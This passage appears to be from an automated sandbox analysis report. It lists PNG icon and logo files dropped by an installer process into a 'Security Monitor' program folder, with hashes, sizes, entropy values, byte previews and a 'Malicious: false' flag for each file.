Encrypted:	false
SSDEEP:	96:LSDZ/I09Da01l+gmkyTt6Hk8nTlzb1sV3wLir9SfPUZ+IK0UAPcWNSB:LSDS0tKg9E05TBbUA+9CGK0xy
MD5:	581AD143944C6620786FE8E8FC09EE1D
SHA1:	E933A895E544CC90F45F3F93E0F28545A780CCBC
SHA-256:	1855774FD5C9C275F57970DDAD469EB71B9841D8C3440128F9351C960A8F0B4E
SHA-512:	072AB07C04E55FE3D1033FFB491EB6F180E40E8691003E46A9EB6CB37857423A2C4704C8683C4DEDFC89D79AB5BE61D2BAA8069245861EBD4865B1C67EBF42E8
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...:...<.....@.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\img\products_page\ic_device1.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 346 x 54, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	20030
Entropy (8bit):	7.985863672702684
Encrypted:	false
SSDEEP:	384:KJXE050lAI9uOflF5XFBw+q7hYwPXsUoRGf0wp4vF:K350f95fl1uD7/XuC4vF
MD5:	E01B942B6936DF2AF64EE809086A5334
SHA1:	6601FE8901F8F131CF47352896B01C8DCFD4C963
SHA-256:	E5FEAB5FF923032A51C09F3D61DB2C4AE052CEA6691F034F397207EACC3C2283
SHA-512:	8B21E8B99218F8A0646A418BF3B184A7F8BA1A8061A60383E1EF0BECF85CD07DD68478AD8225A17ED1458DCCC49585B77FF77407F016D95FE57FAD3E8C305BE9
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...Z...6.......au....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\img\products_page\ic_gps.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 66 x 67, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	7889
Entropy (8bit):	7.956855049886426
Encrypted:	false
SSDEEP:	192:fSDS0tKg9E05TVL0ZW4wNoOfMK98rfXQoEad7vgE:KJXE05105wNl9iPQs7v/
MD5:	5F738BDCCB17BABFD837386300BEF102
SHA1:	41F26EC0399CE58E1550A34C967A876A5F2FC8FB
SHA-256:	07C6155BB34D9BEBF03ECAAD535709B444D156A375F42FED15B26F6414FF63D3
SHA-512:	672E9D39AC2538D2F5CD082BD364E5C554AB0FE0A05A2BBFD4172ABDAA36AB1BCD86CCAACBBE333B85AD3905E25B5E0F0D8355E6290E8340BBE0165FC94C5E57
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...B...C....._.......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\img\products_page\ic_rest.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 58 x 60, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	6329
Entropy (8bit):	7.947037633028336
Encrypted:	false
SSDEEP:	192:LSDS0tKg9E05T58Vi5CX4vwjS9b+2xv+RfO17:+JXE05GIg4ojub+2xvt7
MD5:	03AF571726FE2C2A27BFACE13DE342A6
SHA1:	A350EC8147AE0AD79E8155E7FF62772C9A0AB339
SHA-256:	93C34A8EB0A686EDD27DCEFDAD5AFDDB2005FE27E09EE9880475E35F09A68BCA
SHA-512:	29B0DD9B86A559710262CEA72EF08DDDB9B91621C1BFC21A8E2B5EDDEE7D0EBC73A778B2AF1198903F5EC3EC59891E3EA0B991D3D48FD49938FA047706ABEBBB
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...:...<.....@.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\img\products_page\ic_web.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 58 x 60, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	5798
Entropy (8bit):	7.935696994639288
Encrypted:	false
SSDEEP:	96:LSDZ/I09Da01l+gmkyTt6Hk8nT4+KjhO/UW3j12FlHdjuxgXZLqKhiz:LSDS0tKg9E05TEjE8aoxdqqXZdEz
MD5:	5503FA64C9D05F3025834D93A81AF764
SHA1:	CD2ABB0DD317BAAB5ED12488B7EF0EB76795F95D
SHA-256:	F4EE63F12CE2753CF71A160F5D7772E998CF5B6DBD4BB27502AE43789D9DA822
SHA-512:	AB205307CEA14D14FA7CCE024244FCF5AAE6DA6F7825058A3061CB88DCDE2579DBB6670516559792B631B2A39E756BF4E81ED63C16C205AFDEFCFCBD42F07245
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...:...<.....@.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\img\products_page\is-51P5T.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 122 x 295, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	29784
Entropy (8bit):	7.980725536896858
Encrypted:	false
SSDEEP:	384:RJXE05H3FyEuuqIMky+JU2JzDvj4Ygzc+Cv23bS5PdnFKo79yBbKafVLgkjPSTjG:z35I4qWNJVzAYkl3G51odZfmjymQ7l
MD5:	4C0A6A977EB10BA6ACB252E1C29141F7
SHA1:	3F5E32E79A7D3DB63C8D0BFF06CE43DF0EC6092F
SHA-256:	91853EDF8E536457D93044FCAA5412807368B6B6C88366E05738F3C8A4D031BC
SHA-512:	6C016AABA1B638EC8B2D22CE0AC4B23F662F9D2A372CA016ED5CFDDD72FAAD1A876600E78EEAB27DDE1FAAB47A43AE7CE805B33C43218240BAAC006DA74E569B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...z...'......9g.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\img\products_page\is-6BUHR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 346 x 54, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	20030
Entropy (8bit):	7.985863672702684
Encrypted:	false
SSDEEP:	384:KJXE050lAI9uOflF5XFBw+q7hYwPXsUoRGf0wp4vF:K350f95fl1uD7/XuC4vF
MD5:	E01B942B6936DF2AF64EE809086A5334
SHA1:	6601FE8901F8F131CF47352896B01C8DCFD4C963
SHA-256:	E5FEAB5FF923032A51C09F3D61DB2C4AE052CEA6691F034F397207EACC3C2283
SHA-512:	8B21E8B99218F8A0646A418BF3B184A7F8BA1A8061A60383E1EF0BECF85CD07DD68478AD8225A17ED1458DCCC49585B77FF77407F016D95FE57FAD3E8C305BE9
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...Z...6.......au....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\img\products_page\is-9GTUL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 58 x 60, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	6329
Entropy (8bit):	7.947037633028336
Encrypted:	false
SSDEEP:	192:LSDS0tKg9E05T58Vi5CX4vwjS9b+2xv+RfO17:+JXE05GIg4ojub+2xvt7
MD5:	03AF571726FE2C2A27BFACE13DE342A6
SHA1:	A350EC8147AE0AD79E8155E7FF62772C9A0AB339
SHA-256:	93C34A8EB0A686EDD27DCEFDAD5AFDDB2005FE27E09EE9880475E35F09A68BCA
SHA-512:	29B0DD9B86A559710262CEA72EF08DDDB9B91621C1BFC21A8E2B5EDDEE7D0EBC73A778B2AF1198903F5EC3EC59891E3EA0B991D3D48FD49938FA047706ABEBBB
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...:...<.....@.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\img\products_page\is-C4I5G.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 58 x 60, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	5873
Entropy (8bit):	7.9422746739510455
Encrypted:	false
SSDEEP:	96:LSDZ/I09Da01l+gmkyTt6Hk8nTbCCivsM0hVEz9EEWJcLWmu9H3s5cVQOVplQG:LSDS0tKg9E05TdMiEz9IJcVOVQG
MD5:	08696DFA1637279FCD315A0D2B13EA6E
SHA1:	9579D2CC5852F05288E2205F060F6C18F5619C39
SHA-256:	7C9CBFC634C58F761DFE138DD770C533B5DDDCF222FDE0B3BACFBB76F9A4CD9F
SHA-512:	F38BDF328BE3A4D7003A9216BDF2A9FAD1E53B130DAE37CA2BFC2CA36A497392A03950B137A1363AA25523068A38C87D6B19D5EFFAF0D5E421CE346140B9B444
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...:...<.....@.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\img\products_page\is-GQ2IH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 58 x 60, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	5507
Entropy (8bit):	7.929272432606936
Encrypted:	false
SSDEEP:	96:LSDZ/I09Da01l+gmkyTt6Hk8nTlzb1sV3wLir9SfPUZ+IK0UAPcWNSB:LSDS0tKg9E05TBbUA+9CGK0xy
MD5:	581AD143944C6620786FE8E8FC09EE1D
SHA1:	E933A895E544CC90F45F3F93E0F28545A780CCBC
SHA-256:	1855774FD5C9C275F57970DDAD469EB71B9841D8C3440128F9351C960A8F0B4E
SHA-512:	072AB07C04E55FE3D1033FFB491EB6F180E40E8691003E46A9EB6CB37857423A2C4704C8683C4DEDFC89D79AB5BE61D2BAA8069245861EBD4865B1C67EBF42E8
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...:...<.....@.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\img\products_page\is-IS7L4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 58 x 60, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	6513
Entropy (8bit):	7.938370771306964
Encrypted:	false
SSDEEP:	96:LSDZ/I09Da01l+gmkyTt6Hk8nTQ27DriW08tOW633IfYjzfxKoKg49BM+Uf9C4jc:LSDS0tKg9E05TQ2jX08MQgHx6Sxm3Cg7
MD5:	538614FCC5E9A342D74CFB01246E3755
SHA1:	3496DD97D840823F928213E7E69BB8386EA057DC
SHA-256:	3524B51003AC153E7A40775C3955AA8E3F60AE99F99E514DB60A4BED628C16BC
SHA-512:	A2689D78B11B7C48BABAD5FC97672F6173DFF0DF3C082F6403581FFA45AE7E123BAA93B46DC3495CAD42328959E0EEBA68C70F35E371D175A5E406A9BAFED576
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...:...<.....@.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\img\products_page\is-M79P5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 58 x 60, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	5798
Entropy (8bit):	7.935696994639288
Encrypted:	false
SSDEEP:	96:LSDZ/I09Da01l+gmkyTt6Hk8nT4+KjhO/UW3j12FlHdjuxgXZLqKhiz:LSDS0tKg9E05TEjE8aoxdqqXZdEz
MD5:	5503FA64C9D05F3025834D93A81AF764
SHA1:	CD2ABB0DD317BAAB5ED12488B7EF0EB76795F95D
SHA-256:	F4EE63F12CE2753CF71A160F5D7772E998CF5B6DBD4BB27502AE43789D9DA822
SHA-512:	AB205307CEA14D14FA7CCE024244FCF5AAE6DA6F7825058A3061CB88DCDE2579DBB6670516559792B631B2A39E756BF4E81ED63C16C205AFDEFCFCBD42F07245
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...:...<.....@.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\img\products_page\is-N8TBJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 66 x 67, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	7889
Entropy (8bit):	7.956855049886426
Encrypted:	false
SSDEEP:	192:fSDS0tKg9E05TVL0ZW4wNoOfMK98rfXQoEad7vgE:KJXE05105wNl9iPQs7v/
MD5:	5F738BDCCB17BABFD837386300BEF102
SHA1:	41F26EC0399CE58E1550A34C967A876A5F2FC8FB
SHA-256:	07C6155BB34D9BEBF03ECAAD535709B444D156A375F42FED15B26F6414FF63D3
SHA-512:	672E9D39AC2538D2F5CD082BD364E5C554AB0FE0A05A2BBFD4172ABDAA36AB1BCD86CCAACBBE333B85AD3905E25B5E0F0D8355E6290E8340BBE0165FC94C5E57
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...B...C....._.......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\img\products_page\logos.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	PNG image data, 122 x 295, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	29784
Entropy (8bit):	7.980725536896858
Encrypted:	false
SSDEEP:	384:RJXE05H3FyEuuqIMky+JU2JzDvj4Ygzc+Cv23bS5PdnFKo79yBbKafVLgkjPSTjG:z35I4qWNJVzAYkl3G51odZfmjymQ7l
MD5:	4C0A6A977EB10BA6ACB252E1C29141F7
SHA1:	3F5E32E79A7D3DB63C8D0BFF06CE43DF0EC6092F
